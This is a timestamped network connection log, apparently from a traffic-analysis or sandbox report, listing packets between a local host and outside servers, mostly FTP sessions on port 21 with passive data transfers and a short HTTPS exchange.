Sep 25, 2024 14:42:43.723428965 CEST	443	55429	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:43.791080952 CEST	443	55429	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:43.791162014 CEST	443	55429	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:43.791234016 CEST	55429	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:43.794167995 CEST	55429	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:44.893953085 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:44.900595903 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:44.900697947 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:45.251916885 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:45.252820969 CEST	55428	65044	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:45.758148909 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:45.762273073 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:45.767213106 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:46.101133108 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:46.104639053 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:46.109493017 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:46.459978104 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:46.463820934 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:46.468727112 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:46.799571037 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:46.804580927 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:46.809519053 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:47.144850016 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:47.145196915 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:47.150094032 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:47.487152100 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:47.487413883 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:47.492291927 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:47.994132996 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:47.995132923 CEST	55431	54539	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:48.045166016 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:48.223854065 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:48.223906994 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:48.225296974 CEST	54539	55431	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:48.225368977 CEST	55431	54539	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:48.225577116 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:48.232645035 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:49.076314926 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:49.076788902 CEST	55431	54539	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:49.076852083 CEST	55431	54539	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:49.081737995 CEST	54539	55431	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:49.081945896 CEST	54539	55431	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:49.082015038 CEST	55431	54539	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:49.123198032 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:49.412595034 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:49.467031002 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:49.474122047 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:49.478949070 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:49.805684090 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:49.809808969 CEST	55432	60779	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:49.814781904 CEST	60779	55432	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:49.814888954 CEST	55432	60779	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:49.817501068 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:49.822446108 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:50.657113075 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:50.657381058 CEST	55432	60779	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:50.657426119 CEST	55432	60779	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:50.662185907 CEST	60779	55432	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:50.662513018 CEST	60779	55432	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:50.662565947 CEST	55432	60779	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:50.701482058 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:50.996732950 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:50.997369051 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:51.002423048 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:51.330818892 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:51.331338882 CEST	55433	60205	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:51.336314917 CEST	60205	55433	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:51.336386919 CEST	55433	60205	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:51.336488008 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:51.341357946 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:52.186347008 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:52.187323093 CEST	55433	60205	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:52.192653894 CEST	60205	55433	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:52.192773104 CEST	55433	60205	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:52.232615948 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:52.600034952 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:52.600404978 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:52.605443954 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:52.978665113 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:52.979338884 CEST	64756	50701	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:53.001146078 CEST	50701	64756	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:53.001272917 CEST	64756	50701	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:53.001554966 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:53.009335995 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:53.906737089 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:53.907077074 CEST	64756	50701	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:53.920011997 CEST	50701	64756	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:53.921340942 CEST	50701	64756	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:53.921406031 CEST	64756	50701	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:53.951358080 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:54.273318052 CEST	21	55430	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:54.326323032 CEST	55430	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:43:56.065356970 CEST	65024	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:43:56.095133066 CEST	21	65024	110.4.45.197	192.168.2.9
Sep 25, 2024 14:43:56.095269918 CEST	65024	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:43:56.095596075 CEST	65024	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:43:56.126966953 CEST	21	65024	110.4.45.197	192.168.2.9
Sep 25, 2024 14:43:56.127042055 CEST	65024	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:43:59.851809025 CEST	65025	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:43:59.874130011 CEST	21	65025	110.4.45.197	192.168.2.9
Sep 25, 2024 14:43:59.874233007 CEST	65025	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:43:59.874547005 CEST	65025	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:43:59.910603046 CEST	21	65025	110.4.45.197	192.168.2.9
Sep 25, 2024 14:43:59.910676003 CEST	65025	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:10.279552937 CEST	65026	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:10.285670996 CEST	21	65026	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:10.289047003 CEST	65026	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:10.292882919 CEST	65026	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:10.298048019 CEST	21	65026	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:10.301027060 CEST	65026	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:13.491029978 CEST	65027	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:13.496404886 CEST	21	65027	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:13.496479034 CEST	65027	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:13.499854088 CEST	65027	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:13.504887104 CEST	21	65027	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:13.505044937 CEST	65027	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:18.747637033 CEST	65028	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:18.752618074 CEST	21	65028	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:18.752832890 CEST	65028	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:18.752950907 CEST	65028	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:18.758033991 CEST	21	65028	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:18.758214951 CEST	65028	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:23.896459103 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:23.903240919 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:23.903312922 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:24.828048944 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:24.831254959 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:24.836222887 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:25.193777084 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:25.199153900 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:25.204085112 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:25.588510990 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:25.588809013 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:25.593749046 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:25.698460102 CEST	65030	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:25.703501940 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:25.703572989 CEST	65030	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:26.016300917 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:26.016527891 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:26.021433115 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:26.393462896 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:26.395428896 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:26.402354956 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:26.607925892 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:26.611191988 CEST	65030	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:26.616337061 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:26.777072906 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:26.777359962 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:26.782303095 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:27.000193119 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:27.000380993 CEST	65030	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:27.006774902 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:27.156686068 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:27.160962105 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:27.166163921 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:27.169065952 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:27.169186115 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:27.174371004 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:27.466305971 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:27.466516972 CEST	65030	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:27.472191095 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:27.876199961 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:27.876458883 CEST	65030	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.077284098 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.077353001 CEST	65030	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.078520060 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.106301069 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.106583118 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.111450911 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.111460924 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.111500978 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.111524105 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.111542940 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.111552954 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.111599922 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.111601114 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.111608982 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.111664057 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.111673117 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.111675978 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.111738920 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.111758947 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.111768961 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.111815929 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.116396904 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116406918 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116415977 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116425037 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116435051 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116446018 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116456032 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.116499901 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.116527081 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116549969 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116566896 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116584063 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.116600990 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.116605997 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116633892 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.116657972 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.116669893 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116683006 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116718054 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.116729021 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.121344090 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.121462107 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.121520042 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.121563911 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.121695995 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.121751070 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.122061968 CEST	51237	65031	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.122114897 CEST	65031	51237	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.232988119 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.407121897 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.407294989 CEST	65030	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.412193060 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.742332935 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.745111942 CEST	65030	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:28.749947071 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:28.917994022 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:29.029881954 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:29.085597038 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:29.087069035 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:29.092267990 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:29.093041897 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:29.093226910 CEST	65030	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:29.098062992 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.056008101 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.056302071 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.061214924 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.061230898 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.061248064 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.061281919 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.061305046 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.061319113 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.061326027 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.061382055 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.061494112 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.061506987 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.061534882 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.061547041 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.061559916 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.061583996 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.061634064 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.066179037 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.066193104 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.066241980 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.066245079 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.066258907 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.066270113 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.066283941 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.066288948 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.066297054 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.066308022 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.066332102 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.066334963 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.066376925 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.066385984 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.066385984 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.066432953 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.066458941 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.066504002 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.066514969 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.066551924 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.066560030 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.066612005 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.066643953 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.066693068 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.071069002 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.071131945 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.071803093 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.071913958 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.076100111 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.076944113 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.076960087 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.076988935 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.077039957 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.077053070 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.077084064 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.077491999 CEST	63809	65032	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:30.077543974 CEST	65032	63809	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:30.233002901 CEST	65030	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:31.057775021 CEST	21	65030	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:31.232999086 CEST	65030	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:32.194961071 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:32.200006962 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:32.304294109 CEST	65033	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:32.309509993 CEST	21	65033	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:32.311258078 CEST	65033	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:32.315213919 CEST	65033	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:32.320136070 CEST	21	65033	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:32.321121931 CEST	65033	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:32.538887978 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:32.539707899 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:32.544519901 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:32.547156096 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:32.547243118 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:32.552234888 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.451342106 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.451662064 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.456717968 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.456732035 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.456752062 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.456760883 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.456769943 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.456774950 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.456792116 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.456796885 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.456825018 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.456856012 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.456866026 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.456867933 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.456883907 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.456940889 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.461661100 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.461683035 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.461703062 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.461713076 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.461713076 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.461724997 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.461730003 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.461760044 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.461783886 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.461802006 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.461812019 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.461858034 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.461936951 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.461977959 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.461996078 CEST	59326	65034	110.4.45.197	192.168.2.9
